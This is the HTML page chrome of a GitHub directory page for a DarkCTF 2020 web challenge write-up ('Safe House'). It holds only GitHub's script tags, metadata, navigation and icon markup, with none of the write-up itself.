<script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script>
<meta name="viewport" content="width=device-width"> <title>CTF-Write-ups/DarkCTF 2020/Web/Safe House at master · csivitu/CTF-Write-ups · GitHub</title> <meta name="description" content="Write-ups for CTF challenges. Contribute to csivitu/CTF-Write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/3332b729391e2b915a7121f306a069f76f3807a44bb1aa13ed83eec1a5f7411a/csivitu/CTF-Write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Write-ups/DarkCTF 2020/Web/Safe House at master · csivitu/CTF-Write-ups" /><meta name="twitter:description" content="Write-ups for CTF challenges. Contribute to csivitu/CTF-Write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/3332b729391e2b915a7121f306a069f76f3807a44bb1aa13ed83eec1a5f7411a/csivitu/CTF-Write-ups" /><meta property="og:image:alt" content="Write-ups for CTF challenges. Contribute to csivitu/CTF-Write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Write-ups/DarkCTF 2020/Web/Safe House at master · csivitu/CTF-Write-ups" /><meta property="og:url" content="https://github.com/csivitu/CTF-Write-ups" /><meta property="og:description" content="Write-ups for CTF challenges. Contribute to csivitu/CTF-Write-ups development by creating an account on GitHub." />
<link rel="assets" href="https://github.githubassets.com/">
<meta name="request-id" content="C521:09D4:1C6F57C:1DADAB6:61830850" data-pjax-transient="true"/><meta name="html-safe-nonce" content="8d7f4b75e79218b18078c7a608020524c8cfd829be92465bfc5832f0a1d9b51a" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDNTIxOjA5RDQ6MUM2RjU3QzoxREFEQUI2OjYxODMwODUwIiwidmlzaXRvcl9pZCI6IjgyNTUyMTgyNzg5MDYxMzY2NTYiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="c47b8c331b14f49ffcb23ecca8ee292de39310ab3e5fd29f4bc93c7f6c0e3bd0" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:271607379" data-pjax-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" />
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" />
<meta name="hostname" content="github.com"> <meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION">
<meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5">
<meta name="go-import" content="github.com/csivitu/CTF-Write-ups git https://github.com/csivitu/CTF-Write-ups.git">
<meta name="octolytics-dimension-user_id" content="12748913" /><meta name="octolytics-dimension-user_login" content="csivitu" /><meta name="octolytics-dimension-repository_id" content="271607379" /><meta name="octolytics-dimension-repository_nwo" content="csivitu/CTF-Write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="271607379" /><meta name="octolytics-dimension-repository_network_root_nwo" content="csivitu/CTF-Write-ups" />
<link rel="canonical" href="https://github.com/csivitu/CTF-Write-ups/tree/master/DarkCTF%202020/Web/Safe%20House" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg>
<div class="d-lg-none css-truncate css-truncate-target width-fit p-2">
</div>
<div class="d-flex flex-items-center"> Sign up
<button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg>
</button> </div> </div>
<div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg>
</button> </div>
<nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span>
Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span>
GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details>
Marketplace
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span>
Compare plans <span>→</span> Contact Sales <span>→</span>
Education <span>→</span> </div> </details> </nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0">
<div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="271607379" data-scoped-search-url="/csivitu/CTF-Write-ups/search" data-owner-scoped-search-url="/orgs/csivitu/search" data-unscoped-search-url="/search" action="/csivitu/CTF-Write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="iOtpupWVrxMfplaLKJy8H7WsPdYrsZiU2r2ac3QIoj27dHSqBtFsJet8hqSpWy0znx5HUqE0fXFKxg4jj/H8CQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> 